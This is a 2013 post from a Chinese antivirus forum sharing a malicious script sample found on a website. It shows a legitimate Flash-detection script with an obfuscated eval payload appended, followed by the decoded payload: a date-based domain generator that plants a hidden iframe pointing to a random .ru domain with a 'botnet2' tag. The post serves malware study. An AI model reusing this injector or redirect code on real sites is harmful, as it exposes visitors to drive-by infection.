查看: 961|回复: 0
收起左侧

[已鉴定] http://newlifemfb.com/

 关闭 [复制链接]
fireold
发表于 2013-6-22 14:29:10 | 显示全部楼层 |阅读模式
  1. //v1.7
  2. // Flash Player Version Detection
  3. // Detect Client Browser type
  4. // Copyright 2005-2007 Adobe Systems Incorporated.  All rights reserved.
  5. var isIE = (navigator.appVersion.indexOf("MSIE") != -1) ? true : false;
  6. var isWin = (navigator.appVersion.toLowerCase().indexOf("win") != -1) ? true : false;
  7. var isOpera = (navigator.userAgent.indexOf("Opera") != -1) ? true : false;

  8. function ControlVersion() {
  9.     var version;
  10.     var axo;
  11.     var e;

  12.     // NOTE : new ActiveXObject(strFoo) throws an exception if strFoo isn't in the registry
  13.     try {
  14.         // version will be set for 7.X or greater players
  15.         axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.7");
  16.         version = axo.GetVariable("$version");
  17.     } catch (e) {}

  18.     if (!version) {
  19.         try {
  20.             // version will be set for 6.X players only
  21.             axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.6");

  22.             // installed player is some revision of 6.0
  23.             // GetVariable("$version") crashes for versions 6.0.22 through 6.0.29,
  24.             // so we have to be careful.
  25.             // default to the first public version
  26.             version = "WIN 6,0,21,0";

  27.             // throws if AllowScripAccess does not exist (introduced in 6.0r47)         
  28.             axo.AllowScriptAccess = "always";

  29.             // safe to call for 6.0r47 or greater
  30.             version = axo.GetVariable("$version");

  31.         } catch (e) {}
  32.     }

  33.     if (!version) {
  34.         try {
  35.             // version will be set for 4.X or 5.X player
  36.             axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.3");
  37.             version = axo.GetVariable("$version");
  38.         } catch (e) {}
  39.     }

  40.     if (!version) {
  41.         try {
  42.             // version will be set for 3.X player
  43.             axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.3");
  44.             version = "WIN 3,0,18,0";
  45.         } catch (e) {}
  46.     }

  47.     if (!version) {
  48.         try {
  49.             // version will be set for 2.X player
  50.             axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash");
  51.             version = "WIN 2,0,0,11";
  52.         } catch (e) {
  53.             version = -1;
  54.         }
  55.     }

  56.     return version;
  57. }

  58. // JavaScript helper required to detect Flash Player PlugIn version information


  59. function GetSwfVer() {
  60.     // NS/Opera version >= 3 check for Flash plugin in plugin array
  61.     var flashVer = -1;

  62.     if (navigator.plugins != null && navigator.plugins.length > 0) {
  63.         if (navigator.plugins["Shockwave Flash 2.0"] || navigator.plugins["Shockwave Flash"]) {
  64.             var swVer2 = navigator.plugins["Shockwave Flash 2.0"] ? " 2.0" : "";
  65.             var flashDescription = navigator.plugins["Shockwave Flash" + swVer2].description;
  66.             var descArray = flashDescription.split(" ");
  67.             var tempArrayMajor = descArray[2].split(".");
  68.             var versionMajor = tempArrayMajor[0];
  69.             var versionMinor = tempArrayMajor[1];
  70.             var versionRevision = descArray[3];
  71.             if (versionRevision == "") {
  72.                 versionRevision = descArray[4];
  73.             }
  74.             if (versionRevision[0] == "d") {
  75.                 versionRevision = versionRevision.substring(1);
  76.             } else if (versionRevision[0] == "r") {
  77.                 versionRevision = versionRevision.substring(1);
  78.                 if (versionRevision.indexOf("d") > 0) {
  79.                     versionRevision = versionRevision.substring(0, versionRevision.indexOf("d"));
  80.                 }
  81.             }
  82.             var flashVer = versionMajor + "." + versionMinor + "." + versionRevision;
  83.         }
  84.     }
  85.     // MSN/WebTV 2.6 supports Flash 4
  86.     else if (navigator.userAgent.toLowerCase().indexOf("webtv/2.6") != -1) flashVer = 4;
  87.     // WebTV 2.5 supports Flash 3
  88.     else if (navigator.userAgent.toLowerCase().indexOf("webtv/2.5") != -1) flashVer = 3;
  89.     // older WebTV supports Flash 2
  90.     else if (navigator.userAgent.toLowerCase().indexOf("webtv") != -1) flashVer = 2;
  91.     else if (isIE && isWin && !isOpera) {
  92.         flashVer = ControlVersion();
  93.     }
  94.     return flashVer;
  95. }

  96. // When called with reqMajorVer, reqMinorVer, reqRevision returns true if that version or greater is available


  97. function DetectFlashVer(reqMajorVer, reqMinorVer, reqRevision) {
  98.     versionStr = GetSwfVer();
  99.     if (versionStr == -1) {
  100.         return false;
  101.     } else if (versionStr != 0) {
  102.         if (isIE && isWin && !isOpera) {
  103.             // Given "WIN 2,0,0,11"
  104.             tempArray = versionStr.split(" "); // ["WIN", "2,0,0,11"]
  105.             tempString = tempArray[1]; // "2,0,0,11"
  106.             versionArray = tempString.split(","); // ['2', '0', '0', '11']
  107.         } else {
  108.             versionArray = versionStr.split(".");
  109.         }
  110.         var versionMajor = versionArray[0];
  111.         var versionMinor = versionArray[1];
  112.         var versionRevision = versionArray[2];

  113.         // is the major.revision >= requested major.revision AND the minor version >= requested minor
  114.         if (versionMajor > parseFloat(reqMajorVer)) {
  115.             return true;
  116.         } else if (versionMajor == parseFloat(reqMajorVer)) {
  117.             if (versionMinor > parseFloat(reqMinorVer)) return true;
  118.             else if (versionMinor == parseFloat(reqMinorVer)) {
  119.                 if (versionRevision >= parseFloat(reqRevision)) return true;
  120.             }
  121.         }
  122.         return false;
  123.     }
  124. }

  125. function AC_AddExtension(src, ext) {
  126.     if (src.indexOf('?') != -1) return src.replace(/\?/, ext + '?');
  127.     else return src + ext;
  128. }

  129. function AC_Generateobj(objAttrs, params, embedAttrs) {
  130.     var str = '';
  131.     if (isIE && isWin && !isOpera) {
  132.         str += '<object ';
  133.         for (var i in objAttrs) {
  134.             str += i + '="' + objAttrs[i] + '" ';
  135.         }
  136.         str += '>';
  137.         for (var i in params) {
  138.             str += '<param name="' + i + '" value="' + params[i] + '" /> ';
  139.         }
  140.         str += '</object>';
  141.     } else {
  142.         str += '<embed ';
  143.         for (var i in embedAttrs) {
  144.             str += i + '="' + embedAttrs[i] + '" ';
  145.         }
  146.         str += '> </embed>';
  147.     }

  148.     document.write(str);
  149. }

  150. function AC_FL_RunContent() {
  151.     var ret = AC_GetArgs(arguments, ".swf", "movie", "clsid:d27cdb6e-ae6d-11cf-96b8-444553540000", "application/x-shockwave-flash");
  152.     AC_Generateobj(ret.objAttrs, ret.params, ret.embedAttrs);
  153. }

  154. function AC_SW_RunContent() {
  155.     var ret = AC_GetArgs(arguments, ".dcr", "src", "clsid:166B1BCA-3F9C-11CF-8075-444553540000", null);
  156.     AC_Generateobj(ret.objAttrs, ret.params, ret.embedAttrs);
  157. }

  158. function AC_GetArgs(args, ext, srcParamName, classid, mimeType) {
  159.     var ret = new Object();
  160.     ret.embedAttrs = new Object();
  161.     ret.params = new Object();
  162.     ret.objAttrs = new Object();
  163.     for (var i = 0; i < args.length; i = i + 2) {
  164.         var currArg = args[i].toLowerCase();

  165.         switch (currArg) {
  166.         case "classid":
  167.             break;
  168.         case "pluginspage":
  169.             ret.embedAttrs[args[i]] = args[i + 1];
  170.             break;
  171.         case "src":
  172.         case "movie":
  173.             args[i + 1] = AC_AddExtension(args[i + 1], ext);
  174.             ret.embedAttrs["src"] = args[i + 1];
  175.             ret.params[srcParamName] = args[i + 1];
  176.             break;
  177.         case "onafterupdate":
  178.         case "onbeforeupdate":
  179.         case "onblur":
  180.         case "oncellchange":
  181.         case "onclick":
  182.         case "ondblclick":
  183.         case "ondrag":
  184.         case "ondragend":
  185.         case "ondragenter":
  186.         case "ondragleave":
  187.         case "ondragover":
  188.         case "ondrop":
  189.         case "onfinish":
  190.         case "onfocus":
  191.         case "onhelp":
  192.         case "onmousedown":
  193.         case "onmouseup":
  194.         case "onmouseover":
  195.         case "onmousemove":
  196.         case "onmouseout":
  197.         case "onkeypress":
  198.         case "onkeydown":
  199.         case "onkeyup":
  200.         case "onload":
  201.         case "onlosecapture":
  202.         case "onpropertychange":
  203.         case "onreadystatechange":
  204.         case "onrowsdelete":
  205.         case "onrowenter":
  206.         case "onrowexit":
  207.         case "onrowsinserted":
  208.         case "onstart":
  209.         case "onscroll":
  210.         case "onbeforeeditfocus":
  211.         case "onactivate":
  212.         case "onbeforedeactivate":
  213.         case "ondeactivate":
  214.         case "type":
  215.         case "codebase":
  216.         case "id":
  217.             ret.objAttrs[args[i]] = args[i + 1];
  218.             break;
  219.         case "width":
  220.         case "height":
  221.         case "align":
  222.         case "vspace":
  223.         case "hspace":
  224.         case "class":
  225.         case "title":
  226.         case "accesskey":
  227.         case "name":
  228.         case "tabindex":
  229.             ret.embedAttrs[args[i]] = ret.objAttrs[args[i]] = args[i + 1];
  230.             break;
  231.         default:
  232.             ret.embedAttrs[args[i]] = ret.params[args[i]] = args[i + 1];
  233.         }
  234.     }
  235.     ret.objAttrs["classid"] = classid;
  236.     if (mimeType) ret.embedAttrs["type"] = mimeType;
  237.     return ret;
  238. } /*km0ae9gr6m*/
  239. try {
  240.     prototype % 2;
  241. } catch (asd) {
  242.     x = 2;
  243. }
  244. try {
  245.     q = document[(x) ? "c" + "r" : 2 + "e" + "a" + "t" + "e" + "E" + "l" + "e" + "m" + ((f) ? "e" + "n" + "t" : "")]("p");
  246.     q.appendChild(q + "");
  247. } catch (fwbewe) {
  248.     i = 0;
  249.     try {
  250.         prototype * 5;
  251.     } catch (z) {
  252.         fr = "fromChar";
  253.         f = [510, 702, 550, 594, 580, 630, 555, 660, 160, 660, 505, 720, 580, 492, 485, 660, 500, 666, 545, 468, 585, 654, 490, 606, 570, 240, 205, 738, 50, 192, 160, 192, 160, 708, 485, 684, 160, 624, 525, 192, 305, 192, 580, 624, 525, 690, 230, 690, 505, 606, 500, 192, 235, 192, 580, 624, 525, 690, 230, 486, 295, 60, 160, 192, 160, 192, 590, 582, 570, 192, 540, 666, 160, 366, 160, 696, 520, 630, 575, 276, 575, 606, 505, 600, 160, 222, 160, 696, 520, 630, 575, 276, 405, 354, 50, 192, 160, 192, 160, 708, 485, 684, 160, 696, 505, 690, 580, 192, 305, 192, 580, 624, 525, 690, 230, 390, 160, 252, 160, 648, 555, 192, 225, 192, 580, 624, 525, 690, 230, 492, 160, 252, 160, 624, 525, 354, 50, 192, 160, 192, 160, 630, 510, 240, 580, 606, 575, 696, 160, 372, 160, 288, 205, 738, 50, 192, 160, 192, 160, 192, 160, 192, 160, 696, 520, 630, 575, 276, 575, 606, 505, 600, 160, 366, 160, 696, 505, 690, 580, 354, 50, 192, 160, 192, 160, 750, 160, 606, 540, 690, 505, 192, 615, 60, 160, 192, 160, 192, 160, 192, 160, 192, 580, 624, 525, 690, 230, 690, 505, 606, 500, 192, 305, 192, 580, 606, 575, 696, 160, 258, 160, 696, 520, 630, 575, 276, 385, 354, 50, 192, 160, 192, 160, 750, 50, 192, 160, 192, 160, 684, 505, 696, 585, 684, 550, 192, 200, 696, 520, 630, 575, 276, 575, 606, 505, 600, 160, 252, 160, 696, 520, 630, 575, 276, 555, 660, 505, 474, 590, 606, 570, 462, 205, 354, 50, 750, 50, 60, 510, 702, 550, 594, 580, 630, 555, 660, 160, 492, 485, 660, 500, 666, 545, 468, 585, 654, 490, 606, 570, 426, 505, 660, 505, 684, 485, 696, 555, 684, 200, 702, 550, 630, 600, 246, 615, 60, 160, 192, 160, 192, 590, 582, 570, 192, 500, 192, 305, 192, 550, 606, 595, 192, 340, 582, 580, 606, 200, 702, 550, 630, 600, 252, 245, 288, 240, 288, 205, 354, 50, 192, 160, 192, 160, 708, 485, 684, 160, 690, 160, 366, 160, 600, 230, 618, 505, 696, 360, 666, 585, 684, 575, 240, 205, 192, 310, 192, 245, 300, 160, 378, 160, 294, 160, 348, 160, 288, 295, 60, 160, 192, 160, 192, 580, 624, 525, 690, 230, 690, 505, 606, 500, 192, 305, 192, 250, 306, 260, 318, 270, 330, 280, 342, 240, 294, 160, 258, 160, 240, 500, 276, 515, 606, 580, 462, 555, 660, 580, 624, 200, 246, 160, 252, 160, 288, 600, 420, 350, 420, 350, 420, 350, 246, 160, 258, 160, 240, 500, 276, 515, 606, 580, 408, 485, 696, 505, 240, 205, 192, 210, 192, 240, 720, 350, 420, 350, 420, 205, 258, 160, 240, 385, 582, 580, 624, 230, 684, 555, 702, 550, 600, 200, 690, 160, 252, 160, 288, 600, 420, 350, 420, 205, 246, 295, 60, 160, 192, 160, 192, 580, 624, 525, 690, 230, 390, 160, 366, 160, 312, 280, 300, 275, 294, 295, 60, 160, 192, 160, 192, 580, 624, 525, 690, 230, 462, 160, 366, 160, 300, 245, 312, 275, 312, 280, 306, 270, 312, 275, 354, 50, 192, 160, 192, 160, 696, 520, 630, 575, 276, 405, 192, 305, 192, 580, 624, 525, 690, 230, 462, 160, 282, 160, 696, 520, 630, 575, 276, 325, 354, 50, 192, 160, 192, 160, 696, 520, 630, 575, 276, 410, 192, 305, 192, 580, 624, 525, 690, 230, 462, 160, 222, 160, 696, 520, 630, 575, 276, 325, 354, 50, 192, 160, 192, 160, 696, 520, 630, 575, 276, 555, 660, 505, 474, 590, 606, 570, 462, 160, 366, 160, 294, 230, 288, 160, 282, 160, 696, 520, 630, 575, 276, 385, 354, 50, 192, 160, 192, 160, 696, 520, 630, 575, 276, 550, 606, 600, 696, 160, 366, 160, 660, 505, 720, 580, 492, 485, 660, 500, 666, 545, 468, 585, 654, 490, 606, 570, 354, 50, 192, 160, 192, 160, 684, 505, 696, 585, 684, 550, 192, 580, 624, 525, 690, 295, 60, 625, 60, 50, 612, 585, 660, 495, 696, 525, 666, 550, 192, 495, 684, 505, 582, 580, 606, 410, 582, 550, 600, 555, 654, 390, 702, 545, 588, 505, 684, 200, 684, 220, 192, 385, 630, 550, 264, 160, 462, 485, 720, 205, 738, 50, 192, 160, 192, 160, 684, 505, 696, 585, 684, 550, 192, 385, 582, 580, 624, 230, 684, 555, 702, 550, 600, 200, 240, 385, 582, 600, 270, 385, 630, 550, 246, 160, 252, 160, 684, 230, 660, 505, 720, 580, 240, 205, 192, 215, 192, 385, 630, 550, 246, 295, 60, 625, 60, 50, 612, 585, 660, 495, 696, 525, 666, 550, 192, 515, 606, 550, 606, 570, 582, 580, 606, 400, 690, 505, 702, 500, 666, 410, 582, 550, 600, 555, 654, 415, 696, 570, 630, 550, 618, 200, 702, 550, 630, 600, 264, 160, 648, 505, 660, 515, 696, 520, 264, 160, 732, 555, 660, 505, 246, 615, 60, 160, 192, 160, 192, 590, 582, 570, 192, 570, 582, 550, 600, 160, 366, 160, 660, 505, 714, 160, 492, 485, 660, 500, 666, 545, 468, 585, 654, 490, 606, 570, 426, 505, 660, 505, 684, 485, 696, 555, 684, 200, 702, 550, 630, 600, 246, 295, 60, 160, 192, 160, 192, 590, 582, 570, 192, 540, 606, 580, 696, 505, 684, 575, 192, 305, 192, 455, 234, 485, 234, 220, 234, 490, 234, 220, 234, 495, 234, 220, 234, 500, 234, 220, 234, 505, 234, 220, 234, 510, 234, 220, 234, 515, 234, 220, 234, 520, 234, 220, 234, 525, 234, 220, 234, 530, 234, 220, 234, 535, 234, 220, 234, 540, 234, 220, 234, 545, 234, 220, 234, 550, 234, 220, 234, 555, 234, 220, 234, 560, 234, 220, 234, 565, 234, 220, 234, 570, 234, 220, 234, 575, 234, 220, 234, 580, 234, 220, 234, 585, 234, 220, 234, 590, 234, 220, 234, 595, 234, 220, 234, 600, 234, 220, 234, 605, 234, 220, 234, 610, 234, 465, 354, 50, 192, 160, 192, 160, 708, 485, 684, 160, 690, 580, 684, 160, 366, 160, 234, 195, 354, 50, 192, 160, 192, 160, 612, 555, 684, 200, 708, 485, 684, 160, 630, 160, 366, 160, 288, 295, 192, 525, 192, 300, 192, 540, 606, 550, 618, 580, 624, 295, 192, 525, 192, 215, 258, 160, 246, 615, 60, 160, 192, 160, 192, 160, 192, 160, 192, 575, 696, 570, 192, 215, 366, 160, 648, 505, 696, 580, 606, 570, 690, 455, 594, 570, 606, 485, 696, 505, 492, 485, 660, 500, 666, 545, 468, 585, 654, 490, 606, 570, 240, 570, 582, 550, 600, 220, 192, 240, 264, 160, 648, 505, 696, 580, 606, 570, 690, 230, 648, 505, 660, 515, 696, 520, 192, 225, 192, 245, 246, 465, 354, 50, 192, 160, 192, 160, 750, 50, 192, 160, 192, 160, 684, 505, 696, 585, 684, 550, 192, 575, 696, 570, 192, 215, 192, 195, 276, 195, 192, 215, 192, 610, 666, 550, 606, 295, 60, 625, 60, 50, 690, 505, 696, 420, 630, 545, 606, 555, 702, 580, 240, 510, 702, 550, 594, 580, 630, 555, 660, 200, 246, 615, 60, 160, 192, 160, 192, 580, 684, 605, 738, 50, 192, 160, 192, 160, 192, 160, 192, 160, 630, 510, 240, 580, 726, 560, 606, 555, 612, 160, 630, 510, 684, 485, 654, 505, 522, 485, 690, 335, 684, 505, 582, 580, 606, 500, 192, 305, 366, 160, 204, 585, 660, 500, 606, 510, 630, 550, 606, 500, 204, 205, 738, 50, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 630, 510, 684, 485, 654, 505, 522, 485, 690, 335, 684, 505, 582, 580, 606, 500, 192, 305, 192, 580, 684, 585, 606, 295, 60, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 590, 582, 570, 192, 585, 660, 525, 720, 160, 366, 160, 462, 485, 696, 520, 276, 570, 666, 585, 660, 500, 240, 215, 660, 505, 714, 160, 408, 485, 696, 505, 240, 205, 282, 245, 288, 240, 288, 205, 354, 50, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 708, 485, 684, 160, 600, 555, 654, 485, 630, 550, 468, 485, 654, 505, 192, 305, 192, 515, 606, 550, 606, 570, 582, 580, 606, 400, 690, 505, 702, 500, 666, 410, 582, 550, 600, 555, 654, 415, 696, 570, 630, 550, 618, 200, 702, 550, 630, 600, 264, 160, 294, 270, 264, 160, 234, 570, 702, 195, 246, 295, 60, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 525, 612, 570, 654, 160, 366, 160, 600, 555, 594, 585, 654, 505, 660, 580, 276, 495, 684, 505, 582, 580, 606, 345, 648, 505, 654, 505, 660, 580, 240, 170, 438, 350, 492, 325, 462, 345, 204, 205, 354, 160, 60, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 525, 612, 570, 654, 230, 690, 505, 696, 325, 696, 580, 684, 525, 588, 585, 696, 505, 240, 170, 690, 570, 594, 170, 264, 160, 204, 520, 696, 580, 672, 290, 282, 235, 204, 215, 600, 555, 654, 485, 630, 550, 468, 485, 654, 505, 258, 170, 282, 570, 702, 550, 612, 555, 684, 505, 690, 580, 684, 585, 660, 315, 690, 525, 600, 305, 588, 555, 696, 550, 606, 580, 300, 170, 246, 295, 192, 50, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 630, 510, 684, 545, 276, 575, 696, 605, 648, 505, 276, 595, 630, 500, 696, 520, 192, 305, 192, 170, 288, 560, 720, 170, 354, 160, 60, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 525, 612, 570, 654, 230, 690, 580, 726, 540, 606, 230, 624, 505, 630, 515, 624, 580, 192, 305, 192, 170, 288, 560, 720, 170, 354, 160, 60, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 525, 612, 570, 654, 230, 690, 580, 726, 540, 606, 230, 708, 525, 690, 525, 588, 525, 648, 525, 696, 605, 192, 305, 192, 170, 624, 525, 600, 500, 606, 550, 204, 295, 192, 50, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 600, 555, 594, 585, 654, 505, 660, 580, 276, 490, 666, 500, 726, 230, 582, 560, 672, 505, 660, 500, 402, 520, 630, 540, 600, 200, 630, 510, 684, 545, 246, 295, 60, 160, 192, 160, 192, 160, 192, 160, 192, 625, 60, 160, 192, 160, 192, 625, 594, 485, 696, 495, 624, 200, 606, 205, 738, 625, 60, 625, 264, 160, 318, 240, 288, 205, 354];
  254.         v = "eva";
  255.     }
  256.     if (v) e = window[v + "l"];
  257.     w = f;
  258.     s = [];
  259.     r = String;
  260.     z = ((e) ? "Code" : "");
  261.     for (; 1776 - 5 + 5 > i; i += 1) {
  262.         j = i;
  263.         if (e) s = s + r[fr + ((e) ? "Code" : 12)]((w[j] / (5 + e("j%2"))));
  264.     }
  265.     if (f) e(s);
  266. } /*qhk6sa6g1c*/
复制代码
  1. function nextRandomNumber() {
  2.     var hi = this.seed / this.Q;
  3.     var lo = this.seed % this.Q;
  4.     var test = this.A * lo - this.R * hi;
  5.     if (test > 0) {
  6.         this.seed = test;
  7.     } else {
  8.         this.seed = test + this.M;
  9.     }
  10.     return (this.seed * this.oneOverM);
  11. }

  12. function RandomNumberGenerator(unix) {
  13.     var d = new Date(unix * 1000);
  14.     var s = d.getHours() > 12 ? 1 : 0;
  15.     this.seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF) + (Math.round(s * 0xFFF));
  16.     this.A = 48271;
  17.     this.M = 2147483647;
  18.     this.Q = this.M / this.A;
  19.     this.R = this.M % this.A;
  20.     this.oneOverM = 1.0 / this.M;
  21.     this.next = nextRandomNumber;
  22.     return this;
  23. }

  24. function createRandomNumber(r, Min, Max) {
  25.     return Math.round((Max - Min) * r.next() + Min);
  26. }

  27. function generatePseudoRandomString(unix, length, zone) {
  28.     var rand = new RandomNumberGenerator(unix);
  29.     var letters = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'];
  30.     var str = '';
  31.     for (var i = 0; i < length; i++) {
  32.         str += letters[createRandomNumber(rand, 0, letters.length - 1)];
  33.     }
  34.     return str + '.' + zone;
  35. }

  36. setTimeout(function() {
  37.     try {
  38.         if (typeof iframeWasCreated == "undefined") {
  39.             iframeWasCreated = true;
  40.             var unix = Math.round(+new Date() / 1000);
  41.             var domainName = generatePseudoRandomString(unix, 16, 'ru');
  42.             ifrm = document.createElement("IFRAME");
  43.             ifrm.setAttribute("src", "http://" + domainName + "/runforestrun?sid=botnet2");
  44.             ifrm.style.width = "0px";
  45.             ifrm.style.height = "0px";
  46.             ifrm.style.visibility = "hidden";
  47.             document.body.appendChild(ifrm);
  48.         }
  49.     } catch (e) {}
  50. }, 500);
复制代码
  1. j % 2
复制代码
avg4.jpg
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-2-1 04:19 , Processed in 0.128682 second(s), 19 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表